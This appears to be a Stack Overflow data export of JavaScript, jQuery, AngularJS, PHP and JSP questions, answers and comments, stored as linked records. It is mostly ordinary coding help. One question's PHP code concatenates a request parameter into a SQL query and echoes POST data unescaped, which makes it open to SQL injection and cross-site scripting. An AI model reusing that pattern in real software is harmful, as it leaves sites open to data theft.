$('#prev_page_button'); var $loading = $('#loading'); var $mybook_images = $mybook.find('img'); var cnt_images = $mybook_images.length - 3; var loaded = 0; //preload all the images in the book, //and then call the booklet plugin $mybook_images.each(function(){ var $img = $(this); var source = $img.attr('src'); $(' ').load(function(){ ++loaded; if(loaded == cnt_images){ $loading.hide(); $bttn_next.show(); $bttn_prev.show(); $mybook.show().booklet({ name: null, // name of the booklet …
tagged with: parallax
favorite count: 0
has answer: http://stackoverflow.com/a/25880473
accepted answer: http://stackoverflow.com/a/25880473
type: AnsweredQuestion
has title: jQuery Booklet and parallax
downvote count: 0

infobox
tags question: http://stackoverflow.com/q/25872930
tag name: infobox
type: Tag
tags question: http://stackoverflow.com/q/25854190

http://stackoverflow.com/comment/40219818
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25725967
has text: Isn't that what are you looking for?
type: Comment

http://stackoverflow.com/comment/40320470
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25780950
score: 0
has text: What is this code supposed to do?

http://stackoverflow.com/comment/40245821
comment on: http://stackoverflow.com/a/25738737
score: 0
type: AnswerComment
has text: also there are directives that should work in both html4 and html5 mode so i want to test that.
type: Comment

http://stackoverflow.com/a/25767185
score: 5
has comment: http://stackoverflow.com/comment/40298426
has body: You can use a custom sort function with orderBy (it can take custom sorting function too) define a sort function in your controller: $scope.sorter = function (a){ return parseInt(a.replace( /^\D+/g, '')); // gets number from a string } and then in your template seat in seats | orderBy:sorter track by seat.id Edit as per the modified problem statement: Do manual sorting in controller instead of with ng-repeart using naturalSort $scope.seats = [{"id": "Seat 12"},{"id": "Seat 3"},{"id": "Seat 1"},{"id": "Seat 2"},{"id": "Secretary"}]; $scope.seats.sort(function(a,b) { return naturalSort(a.id, b.id); }) or check this angular module http://blog.overzealous.com/post/55829457993/natural-sorting-within-angular-js and the fiddle demonstrating it - http://jsfiddle.net/wE7H2/3/
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/42112786
downvote count: 0
has comment: http://stackoverflow.com/comment/40297371
has comment: http://stackoverflow.com/comment/79158474
type: Answer
has comment: http://stackoverflow.com/comment/40297785
has comment: http://stackoverflow.com/comment/40296261
has comment: http://stackoverflow.com/comment/46899223
has comment: http://stackoverflow.com/comment/40331348
answers question: http://stackoverflow.com/q/25766876
upvote count: 5
accepted answer of: http://stackoverflow.com/q/25766876

http://stackoverflow.com/comment/40543249
comment on: http://stackoverflow.com/q/25842234
score: 0
type: Comment
has text: second example is calling from pageload and first example is calling from a button. calling from button works fine while calling from page load does not work. after some search, i think pageMethods does not work on pageLoad event.
type: QuestionComment

http://stackoverflow.com/a/25772073
score: 2
upvote count: 2
has body: It's in the raw data, that's where it is. So I had to do this to get the data, then I could access it.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25770964
accepted answer of: http://stackoverflow.com/q/25770964
type: Answer

http://stackoverflow.com/comment/40288671
has text: @SlipperyBalmain...sorry but i m not getting you want you are trying to do now ...and see carefully in my answer you haven't used 'e' in ...function(e)...??
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25722796
type: Comment

http://stackoverflow.com/comment/40359859
comment on: http://stackoverflow.com/q/25801725
type: QuestionComment
type: Comment
has text: Thank you for you reply. That's a shame, can you think of any way I can mimic the function of the IBM slider using JSSOR?
score: 0

http://stackoverflow.com/a/25792851
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25791295
score: 1
has body: Id the id always follows id_, you could possibly split the string. 'http://v.youku.com/v_show/id_XNTg3OTc3MzY4.html'.split(/.*id_|\./)[1] //=&gt; 'XNTg3OTc3MzY4' For this specific string, you could just do. 'http://youku.com/id_XNTg30Tc3MzY4.html'.split(/id_|\./)[2] //=&gt; 'XNTg3OTc3MzY4'

http://stackoverflow.com/q/25771898
tagged with: php
type: AnsweredQuestion
score: 0
has title: jQuery store div parent id , and delete it from an array
has answer: http://stackoverflow.com/a/25772286
has body: I am trying to build input element dynamically with option to add and remove the inputs. also I have drop down that build dynamically from my data base using php. while I am adding input I sore the parent id in array and when I am delete the input I am using splice to delete it. every box I am adding or remove contain several inputs I adding the inputs successfully also to the array and succeed to pass them using ajax, the issue is when I am deleting 1 input it deleting all my parents divs like in loop. var x = 1 var appleTestList; var appleinputList = new Array(); $('#applePlus').click(function(e){ //on add input button click var wrapper = $("#appleDinamicBox"); //Fields wrapper ; //initlal text box count $.ajax({ async: false, type: "GET", url: "sqlFunctrions.php", data: 'func=dropDownbyValue&table=test&value=Test_ID&display=Test_Name&column=Test_Type&valueBy=Apple&selectName=appleTest&chooseFrom=Test', success: function(msg){ appleTestList=msg; } }); // Ajax Call var htmlString=''; x++; //text box increment htmlString=htmlString + ' Test Name: '; htmlString = htmlString + ' Test ' +appleTestList+' '; htmlString = htmlString + ' Namber Of Setups '; $(wrapper).append(htmlString); //add input box appleinputList.push(x); $(wrapper).on("click",".remove_field", function(e){ //user click on remove text e.preventDefault(); $(this).parent('div').remove(); var id = $(this).parent().attr('id'); alert(id); appleinputList.splice(appleinputList.indexOf(parseInt(id)),1); alert(id); }); } can you my mistake, there is any other way to do that? thanks, Cfir.
type: Question
has comment: http://stackoverflow.com/comment/40303763
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25772286
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40303839
has comment: http://stackoverflow.com/comment/40303732
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25821622
accepted answer: http://stackoverflow.com/a/25821721
score: 1
has body: How can I replace the character following a certain substring, if it is a -? I am using a regular expression to match and replace the substring itself, but I also want to match the character immediately following that if it is a hyphen. For example : $('.classg').on("click", function() { idq = $(this).attr('name'); var _href = $('.classh').children("a").attr("href"); $('.classh').children("a").attr("href", _href.replace(idq, '')); // ... }); HTML: Answer Multiquote After the replace of idq, I want to be able to determine what is the next character on the _href string just after the string idq. If the character is - then I want to replace it with '' (the blank string). If it's something else, I want it to be ignored.
upvote count: 1
type: Question
tagged with: javascript
tagged with: jquery
tagged with: replace
answer count: 1
has title: Replace a substring and optionally the subsequent character
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40394822
has answer: http://stackoverflow.com/a/25821721
tagged with: regex
has comment: http://stackoverflow.com/comment/40394841
type: AnsweredQuestion

http://stackoverflow.com/comment/40288707
type: Comment
comment on: http://stackoverflow.com/q/25763538
type: QuestionComment
score: 1
has text: I want to get the value of the `xf:input` with javascript. I know it can be achieved with XForms alone, but as I said - this is an experiment that I am currious how can that be done.

http://stackoverflow.com/q/25833437
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25833744
accepted answer: http://stackoverflow.com/a/25833744
has title: Invoke callback method
tagged with: javascript
answer count: 1
downvote count: 0
favorite count: 0
tagged with: ajax
has body: I'm trying to make a nice AJAX interface, loosely adapted to Todd Motto's Atomic.JS (http://toddmotto.com/writing-a-standalone-ajax-xhr-javascript-micro-library/). My adaption isn't working, however. The problem: when using the function like so ajax.post(url, data) .success(function(x) { console.log('success',x); }) .error(function(x) { console.log('error',x); }); The AJAX function can't 'reach' the error method, while the success behaves perfectly. When I only write the error function when it's called upon it does work perfectly, though. E.g. like so: ajax.post(url, data) .error(function(x) { console.log('error', x); }); Here's my AJAX method var ajax = (function() { var parse = function(req) { var result; try { result = JSON.parse(req.responseText); } catch (e) { result = req.responseText; } return [result, req]; }; var xhr = function(type, url, data) { var methods = { success: function() {}, error: function() {} }; var XHR = XMLHttpRequest || ActiveXObject; var request = new XHR('MSXML2.XMLHTTP.3.0'); request.open(type, url, true); request.setRequestHeader("X-CSRFToken", getCookie('csrftoken')); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.onreadystatechange = function() { if (request.readyState === 4) { if (request.status === 200) { methods.success.apply(methods, parse(request)); } else { methods.error.apply(methods, parse(request)); } } }; request.send(data); return { success: function(callback) { methods.success = callback; return methods; }, error: function(callback) { methods.error = callback; return methods; } }; }; return { get: function(url) { return xhr('GET', url); }, post: function(url, data) { return xhr('POST', url, data); } }; })(); I see that Todd Motto uses a Factory method, which I'm not familiar with. Please help me reach my .error!

http://stackoverflow.com/comment/40479425
has text: which is the browser used to test it
comment on: http://stackoverflow.com/q/25868230
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25772423
has comment: http://stackoverflow.com/comment/40304608
type: Answer
has comment: http://stackoverflow.com/comment/40304962
has comment: http://stackoverflow.com/comment/40304793
has body: You should wrap your code with $(document).ready: $(document).ready(function() { $("#theButton").click(function() { alert( "Handler for .click() called." ); }); }); The problem is in fact, that script is executed before element with id "theButton" is loaded, so you can't select it using $("#theButton").
answers question: http://stackoverflow.com/q/25772393
score: 0
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/25717756
answers question: http://stackoverflow.com/q/25717081
downvote count: 0
type: Answer
has body: I think you are trying this example from Angularjs Book, in which they have clearly mentioned that we are not initializing app for every example, you need to initialize your app. or simply ignore app, start coding from controller. when you mention ng-app="sample" you need to bootstrap that in order to work with controllers directives and everything that you use. In case if you dont want to initialize then you can simply leave ng-app="" blank. Here is working example [fiddle][1] [1]: http://jsfiddle.net/kaLropns/
score: 1
upvote count: 1

http://stackoverflow.com/comment/40305862
has text: As for 500s, there are lots of things that can cause transient errors. Our recommendation for both rate limit errors and 500s is the same - slow down and retry the request after some delay.
comment on: http://stackoverflow.com/a/25754930
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/41183780
has text: Hi, Thanks for not assuming I have any idea what I'm doing ^^ I think I did forget to include jQuery at that point... I've added it in anyway but I just gave up on that site all together and I'm using a spreadsheet instead. I'd still like to work out how to do it though and I'll probably try again later :) It was just experimentation for a personal project so it doesn't matter. Thanks for the help :)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25819690
type: AnswerComment

http://stackoverflow.com/q/25841436
has comment: http://stackoverflow.com/comment/40431284
answer count: 2
tagged with: jquery-ui
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: jQuery ui dialog boxes not draggable and resizable after appendTo?
has answer: http://stackoverflow.com/a/25864915
has body: I am implementing sticky notes using jquery ui dialog boxes. On a button click a big full screen ui dialog box is opened and inside that big dialog box is a button to add small dialog boxes (notes). HTML: open the dialog Add Note JS: $( "#outter-dialog" ).dialog({ autoOpen: false, title: "Success Message", width: $(window).width(), height: $(window).height(), modal: false, buttons: { Cancel: function() { $(this).dialog('close'); } } }); $("#opener").click(function(){ $( "#outter-dialog" ).dialog('open'); }); var prevelement; $("#add-note").click(function () { var dynamicDialog = $(' Hello '); var pos; if (prevelement) { pos = { my: "left", at: "bottom", of: prevelement } } dynamicDialog.dialog({ title: "Note", modal: false, appendTo: "#outter-dialog", buttons: [{ text: "Save", click: function () {} }], position: pos }); prevelement = dynamicDialog }); Now I have an issue when I add appendTo: "#outter-dialog" to my dynamic small dialog boxes (notes): after appending them to outter dialog box they are no longer resizable and draggable. I appended them to outter dilaog box so that on open/close of outter dialog box inner notes are shown/hidden. Any idea why they are not draggable and resizable??
possible better answer: http://stackoverflow.com/a/25867127
has comment: http://stackoverflow.com/comment/40436263
has answer: http://stackoverflow.com/a/25867127
favorite count: 0
tagged with: jquery-ui-dialog
tagged with: appendto
score: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25864915
linked to: http://stackoverflow.com/q/22960144
type: Question
upvote count: 4

http://stackoverflow.com/comment/40357002
comment on: http://stackoverflow.com/a/25799381
type: Comment
has text: @timmy That is the golden question. `readOnly` is a variable of type string, and it should be evaluated in a template only when surrounded by double curly braces e.g. `ngHide="{{readOnly}}"` ... but why is it still being evaluated when the template is `ngHide="readOnly"`? I find it very strange.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40308960
score: 0
has text: Don't add things like [SOLVED] or [RESOLVED] to the question title. SO already displays if a question has answers.
comment on: http://stackoverflow.com/q/25773522
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40398721
has text: This is a big matter of taste but I'm not a big fan of using chaining just for the syntax, like you are doing. I would prefer to keep it simple and just pass the callback as a regular argument. I would only code it using a separate then method if I wanted to be able to add callbacks even after the animation is finished (this is impossible to do if you har to pass the callbacks as a parameter at the start).
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25823322
type: QuestionComment

http://stackoverflow.com/a/25769745
answers question: http://stackoverflow.com/q/25753505
has body: Due to lack of time, I'll paste the comment that provided valid result(s) and modify the answer later so it's clearer. Right, if you have a UUID 43d597d7-2323-325a-90fc-21fa5947b9f3 in that string format already in your JS app, you'd send the following query to MySQL: SELECT col FROM table WHERE uuid_col = UNHEX(REPLACE('43d597d7-2323-325a-90fc-21fa5947b9f3', '-', '')); If you want to pull data out and have UUID in readable format, you have to convert it to hexadecimal notation. SELECT HEX(uuid_col) FROM table; That one will give you the UUID without dashes. It appears that the node-uuid.parse method works if you give it hex string without dashes.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25753505
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/78152045
has comment: http://stackoverflow.com/comment/78142326
score: 6

http://stackoverflow.com/a/25828783
type: Answer
score: 2
upvote count: 2
has body: Try this (I'm assuming bootstrap 3 $('.nav a').on('click', function(){ $(".navbar-toggle").click() //bootstrap 3.x });
accepted answer of: http://stackoverflow.com/q/25826242
answers question: http://stackoverflow.com/q/25826242
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40272026
score: 0
has text: an image within a div might be enough. And the margin/... settings can be done in js.
comment on: http://stackoverflow.com/q/25753254
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40265289
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25737172
score: 0
has text: application/json,text/javascript,*/*;q=0.01

http://stackoverflow.com/a/25771901
type: Answer
has comment: http://stackoverflow.com/comment/40303775
has body: JSON stringify makes a string from object. Use JSON.parse({"name":"homer"}) or $.param({"name":"homer"})
score: 0
has comment: http://stackoverflow.com/comment/40304001
has comment: http://stackoverflow.com/comment/40303694
has comment: http://stackoverflow.com/comment/40303898
answers question: http://stackoverflow.com/q/25771782

http://stackoverflow.com/comment/40326402
comment on: http://stackoverflow.com/q/25784166
has text: See http://stackoverflow.com/questions/6644654/parse-url-with-jquery-javascript You'd need to split the URL into components, replace the port component and re-assemble the URL.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25739321
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25738314
answers question: http://stackoverflow.com/q/25738314
has body: You could implement a simple noenter directive: app.directive('noenter',function() { return function(scope, element) { element.on('keypress', function(e) { if (e.which === 13) { return false; } return true; }) } }); Usage: &lt;input type="text" noenter /&gt;
score: 0

http://stackoverflow.com/comment/40407383
has text: could you explain me more (with code) because i'm newbie? thank you in advance
comment on: http://stackoverflow.com/q/25828160
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25793248
has comment: http://stackoverflow.com/comment/40347859
score: 1
has comment: http://stackoverflow.com/comment/40349675
has comment: http://stackoverflow.com/comment/40348617
type: Answer
accepted answer of: http://stackoverflow.com/q/25793203
answers question: http://stackoverflow.com/q/25793203
has body: You're dumping PHP output into Javascript context. Use json_encode() to do this properly: echo '&lt;li&gt;..... ', json_encode($row['activity']), '&lt;/li&gt;'; As it stands right now, your array keys aren't quoted, which'll probably cause PHP to issue various warnings, and those warnings will get output in your JS code, causing syntax errors. json_encode() will take care of ALL the necessary quoting/escaping for you. It'll also be far more readable/maintainable than the abomination you've come up with. comment followup, split onto 3 lines for a bit more legibility: echo '&lt;li&gt; &lt;a href="#" onClick="runthis('; echo json_encode("{$row['activity']}/{$row['app_name']}"); echo ')"&gt;';
upvote count: 1
has comment: http://stackoverflow.com/comment/40347767
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40220319
comment on: http://stackoverflow.com/q/25726634
score: 0
type: Comment
type: QuestionComment
has text: You shouldn't make them global. Rather declare both `analysis` and `onStageContentClicked` inside the `ready` handler.

http://stackoverflow.com/a/25757856
has body: First make a check for jQuery load using javaScript window.onload = function() { if (window.jQuery) { // jQuery is loaded // Now insert your scripts } else { // jQuery is not loaded // Load it manually from any cdn e.g., //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js } } There are some other similar ways of checking which we can use if (typeof jQuery != 'undefined') { // jQuery is loaded } else { // jQuery is not loaded } if (jQuery) { // jQuery is loaded } else { // jQuery is not loaded } There 's a working fiddle available by atornblad which also tells the time jQuery took to load. You can have a look for a better reference. Hope this helps..
score: 0
has comment: http://stackoverflow.com/comment/40318550
has comment: http://stackoverflow.com/comment/40294914
type: Answer
answers question: http://stackoverflow.com/q/25756378

http://stackoverflow.com/comment/40489303
comment on: http://stackoverflow.com/q/25873481
score: 0
type: QuestionComment
type: Comment
has text: `^[\!@\#\$\%\^&\*\(\)\+]+$` only matches if **every** character of the input is one of these characters. Don't anchor the expression and repetition is not required. (and I hope you don't restrict the length of the password to 9 characters :-/ )

http://stackoverflow.com/q/25829222
has body: If I have a function like this: function doSomething(param){ var tempV = param;//should I even assign it to another variable? tempV.css('color','red'); tempV = null;//Is this necessary? //Should I do param = null too? } And I run this(the code below) somewhere, possibly in another function: var elementBeingPassed = $('#someElement'); doSomething(elementBeingPassed); anotherFunctionSimilarToDoSomething(elementBeingPassed); elementBeingPassed = null; Would this create a memory leak? Are all the x = null statements needed? What I want to do is to not have to query the same element all over again in all the functions, instead just query it once and pass it on.
score: 0
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25829253
has title: Does this code create a memory leak?
type: AnsweredQuestion
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25829253
tagged with: dom

http://stackoverflow.com/a/25793548
has body: Written for Turbolinks 4. Untested in Turbolinks 5 Turbolinks replaces the Document Body after fetching it via replaceChild https://github.com/rails/turbolinks/blob/master/lib/assets/javascripts/turbolinks.js.coffee#L97 document.documentElement.replaceChild(body, document.body); This is not trigger the 'upgrading of elements' as it seems the Observers do not fire in this case. I have come up with 2 different solutions to get around this. Importing the entire body $(document).on "page:change", -&gt; document.documentElement.replaceChild(document.importNode(document.body, true), document.body); Importing just the specific registered Polymer Elements $(document).on "page:change", -&gt; for polymerElement in Polymer.elements for domElement in document.body.querySelectorAll(polymerElement.name) domElement.parentNode.replaceChild(document.importNode(domElement, true), domElement); Update This seems to align with the officially endorsed way to handle this situation https://groups.google.com/forum/#!msg/polymer-dev/WaWbepYW97Q/XE3SQTyvyCUJ Also a good use case for why this step is required To see why you might want to avoid changing type when adopting, consider an element born in an that gets moved into the main document. You probably wouldn't want to go back through the lifecycle just because it moved to a new document...
accepted answer of: http://stackoverflow.com/q/25749658
has comment: http://stackoverflow.com/comment/65029776
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25749658
score: 2
has comment: http://stackoverflow.com/comment/64940495
upvote count: 2

http://stackoverflow.com/comment/40421041
comment on: http://stackoverflow.com/a/25836041
type: Comment
score: 1
type: AnswerComment
has text: Title says from 1 to 40, so i think for(i=1;i<=40;i++)

http://stackoverflow.com/comment/40351952
comment on: http://stackoverflow.com/q/25798053
has text: Bind all your handlers at top level. If you want to temporarily disable them, set a variable that they check before doing anything.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25838723
type: Answer
answers question: http://stackoverflow.com/q/25838606
score: 0
has comment: http://stackoverflow.com/comment/40426275
has body: If jQuery is allowed, a quick Fiddle as example: var image_array = $("img").map(function () { return $(this).attr("src"); }); images = $.unique(image_array); alert(images.length); In case images.length is 1, there's only 1 unique image source. When you change one of the image sources in the fiddle to one of the other images and run the fiddle again, the alert will give you 3 instead of 4 etc. image_array is created using the map()-function, pushing the src of each image into the array. The unique()-function removes all double entries from this array. References: http://api.jquery.com/jquery.unique/, http://api.jquery.com/jquery.map/ And the same with pure Javascript: var elements = document.getElementsByTagName('img'); var imageArray = new Array(); for (var i=0; i&lt;elements.length; i++) { imageArray[i] = new Image(); imageArray[i] = elements[i].src; } function getUnique(element) { return element.reduce(function(a,b){if(a.indexOf(b)&lt;0)a.push(b);return a;},[]); } alert(getUnique(imageArray).length); Fiddle with both versions and one double image: Fiddle Reference for the nice one-liner used in getUnique(): Remove Duplicates from JavaScript Array, see answer by Christian Landgren.
has comment: http://stackoverflow.com/comment/40426560

http://stackoverflow.com/comment/40266089
type: QuestionComment
score: 5
has text: @vikar The idea of SO is to help when you get stuck, not to create the whole programm for you.
comment on: http://stackoverflow.com/q/25751061
type: Comment

http://stackoverflow.com/comment/40314671
has text: Which lines are you referring to?
comment on: http://stackoverflow.com/q/25777305
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25862732
has body: I need to upload a image file into the server using JSP. Here I'm using pure Ajax not Jquery. Also I'm not using FORM for submitting, cause I don't want to refresh current page. Here is what I have tried. page1.jsp Select a file to upload : Now what I need to do is to send this file from "page1.jsp" to "page2.jsp". I have tried with form its working pretty well, but I don't want the user to change the current page. Here is the code for page2.jsp page2.jsp <%@ page import="java.io.*,javax.servlet.http.HttpServletRequest,javax.servlet.ServletInputStream" %> <%@ page import="java.io.FileWriter,java.io.IOException" %> <% String savePath = "", filepath = "", filename = ""; String contentType = "", fileData = "", strLocalFileName = ""; int startPos = 0, endPos = 0; int BOF = 0, EOF = 0; %> <%! void copyByte(byte [] fromBytes, byte [] toBytes, int start, int len) { for(int i=start;i<(start+len);i++) { toBytes[i - start] = fromBytes[i]; } } %> <% contentType = request.getContentType(); out.println(" Content type is :: " +contentType); if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) { DataInputStream in = new DataInputStream(request.getInputStream()); DataInputStream in1 = in; int formDataLength = request.getContentLength(); byte dataBytes[] = new byte[formDataLength]; int byteRead = 0; int totalBytesRead = 0; while (totalBytesRead < formDataLength) { byteRead = in1.read(dataBytes, totalBytesRead, formDataLength); totalBytesRead += byteRead; } out.println(" totalBytesRead : " + totalBytesRead + " : formDataLength = " + formDataLength); byte[] line = new byte[128]; if (totalBytesRead < 3) { return; //exit if file length is not sufficiently large } String boundary = ""; String s = ""; int count = 0; int pos = 0; do { copyByte(dataBytes, line, count ,1); //read 1 byte at a time count+=1; s = new String(line, 0, 1); fileData = fileData + s; pos = fileData.indexOf("Content-Disposition: form-data; name=\""); if(pos != -1) endPos = pos; }while(pos ==…
has comment: http://stackoverflow.com/comment/40496856
tagged with: jsp
tagged with: javascript
tagged with: ajax
has comment: http://stackoverflow.com/comment/40546633
answer count: 0
score: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/6974684
has comment: http://stackoverflow.com/comment/40620108
type: Question
has comment: http://stackoverflow.com/comment/40509272
has comment: http://stackoverflow.com/comment/40574911
has comment: http://stackoverflow.com/comment/40531965
has title: JSP AJAX upload a file without using form, no jquery

http://stackoverflow.com/comment/40386503
comment on: http://stackoverflow.com/q/25816717
type: Comment
type: QuestionComment
score: 2
has text: Ah. `scripts` added via `innerHTML` are not evaluated by the browser for security reasons (see https://developer.mozilla.org/en-US/docs/Web/API/Element.innerHTML#Security_considerations). So your function really doesn't exist. See also [Can scripts be inserted with innerHTML?](http://stackoverflow.com/q/1197575/218196)

http://stackoverflow.com/q/25803036
has answer: http://stackoverflow.com/a/29320238
has body: Is it possible to fetch app analytics from Parse using a Javascript or REST API? I would like to show download numbers and custom events in my own dashboard.
type: Question
answer count: 1
tagged with: javascript
tagged with: analytics
score: 4
tagged with: rest
has title: Get Parse Analytics Custom Dashboard
upvote count: 4
tagged with: parsing
favorite count: 0
tagged with: parse-platform
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/54879518

http://stackoverflow.com/a/25728329
type: Answer
answers question: http://stackoverflow.com/q/25728297
has body: var clicked = false; $("#loadme").unbind('click').click(function(){ hello(); clicked = true; }); function hello(){ if(clicked){ //do nothing because it was clicked more than once. }else{ //your code clicked = false; //reset } }
score: 0

http://stackoverflow.com/comment/40516566
score: 0
type: Comment
has text: I mean the "Some content" should still be visible. The only difference is that the "Some content" shouldn't act as a link. The result should be something like [this](http://stackoverflow.com/questions/1767414/jquery-easiest-way-to-wrap-an-image-tag-with-an-a-anchor-tag) OMG sorry if I'm not making myself clear :(
comment on: http://stackoverflow.com/a/25874628
type: AnswerComment

http://stackoverflow.com/comment/40322488
score: 0
type: AnswerComment
has text: Thank you for your patience. The thing that is confusing me, is with the same code, how'll google let me know of each page? I've used it once for a WordPress website. And it shows me only one statistic and not of each page.
type: Comment
comment on: http://stackoverflow.com/a/25780032

http://stackoverflow.com/q/25740022
has body: Edit: I made a bin to show my output right now: http://jsbin.com/cunuxaqe/6/edit For some people this might be super easy, but I can't find the solution. I have a page with several text fields: KG € Now in my text field Company I have an autocomplete function: The results are shown in an but I would like to show the search result in a column on the right which would be not visible normally. Can someone help me out? I'm a complete noob when it comes to JQuery and Javascript..
has title: Bootstrap autocomplete result in right column
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40247358
score: 0
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25741745
tagged with: twitter-bootstrap
tagged with: css
accepted answer: http://stackoverflow.com/a/25741745
type: AnsweredQuestion

http://stackoverflow.com/comment/40274538
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25755449
has text: Why have you got a ` ` in an ` ` in the first place? It makes no semantic sense. Why not move the ` ` out of the ` ` give it its own id and target that?
score: 0

http://stackoverflow.com/comment/40317517
comment on: http://stackoverflow.com/a/25778710
has text: My code cancelled the click with `evt.preventDefault();` Did you you not copy that?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40316480
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25778645
has text: Yes! Thank you for the regex lesson :)
score: 0

http://stackoverflow.com/q/25728467
has comment: http://stackoverflow.com/comment/40223690
has comment: http://stackoverflow.com/comment/40223648
upvote count: 1
tagged with: php
has body: i need to check email availablity for this task. while i enter any email address, after i press tab it should check in the database and return whether this email are already exist or not. but this routine gives exact output as what i expect while checking it in console. but the error message didn't written on my html page. can any one help me? thanks in advance. HTML coding <input name="frmVisitorEmail" id="frmVisitorEmail" onblur="checkEmail(this.value);" class="emailbox" required="required" value="<?php echo $_POST['frmVisitorEmail']; ?>" placeholder="Visitor Email" type="email" /> FindEmail.php <?php include("includes/config.php"); $strEmail = $_GET["email"]; $strData = doCheckEmail($strEmail); if($strData!=0) { echo " "; } else { echo ' '; } ?> AJAX script function checkEmail(str) { var xmlhttp; if (str.length==0) { document.getElementById("frmVisitorEmail").innerHTML=""; return; } if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState == 4 && xmlhttp.status==200) { document.getElementById("frmVisitorEmail").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","findEmail.php?email="+str,true); xmlhttp.send(null); } Function function doCheckEmail($strIdent) { $strSelectsSql = "Select count(*) as TotalCnt from tbl_visitor Where visitor_email='".$strIdent."' "; $strSelectsResult = SelectQry($strSelectsSql); return $strSelectsResult[0][0]; } function SelectQry($Qry) { $result = mysql_query($Qry) or die ("QUERY Error:".$Qry." ".mysql_error()); $numrows = mysql_num_rows($result); if ($numrows == 0) { return; } else { $row = array(); $record = array(); while ($row = mysql_fetch_array($result)) { $record[] = $row; } } return MakeStripSlashes($record); }
answer count: 1
tagged with: mysql
has title: checking Email availablity using AJAX in php
has comment: http://stackoverflow.com/comment/40223778
has answer: http://stackoverflow.com/a/25728632
has comment: http://stackoverflow.com/comment/40223843
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25728632
has comment: http://stackoverflow.com/comment/40223683
tagged with: ajax
type: Question
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40223738
score: 1
favorite count: 0

http://stackoverflow.com/q/25807324
has title: How to delete all rows in a footable?
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40512754
has answer: http://stackoverflow.com/a/25845384
tagged with: javascript
has body: I have a footable that I need to clean. I mean, I need to delete all rows in the footable. Is there any footable function to do that? Or do I need to delete rows one by one? I tried to reinitialize the table doing this: $('.footable').footable(); I also have tried to iterate between the rows like this: var footable = $('table').data('footable'); //This is the problem I don´t know how to get first row in the table. var row = ??????.parents('tr:first'); var next=row.next(); for (var i=0; i<long-1; i++){ footable.removeRow(next); next=row.next(); } footable.removeRow(row); And my corresponding html source code: Cantidad Producto Precio Eliminar Total 19.5
has comment: http://stackoverflow.com/comment/40368185
has comment: http://stackoverflow.com/comment/40432438
type: Question
accepted answer: http://stackoverflow.com/a/25845384
answer count: 2
has answer: http://stackoverflow.com/a/61086184
has comment: http://stackoverflow.com/comment/40371022
tagged with: jquery
favorite count: 0
possible better answer: http://stackoverflow.com/a/61086184
upvote count: 2
has comment: http://stackoverflow.com/comment/40444933
score: 1
tagged with: footable

http://stackoverflow.com/comment/108328015
comment on: http://stackoverflow.com/a/25872642
has text: Your link "bus system events" is broken
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/26012553
score: 0
answers question: http://stackoverflow.com/q/25817914
type: Answer
has body: var scaleX = ThreeUnitsX / deltaX; should be var scaleX = deltaX / ThreeUnitsX ; But that is only correct if your object should always be 111km long.

http://stackoverflow.com/a/25836243
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25836180
has comment: http://stackoverflow.com/comment/40421395
type: Answer
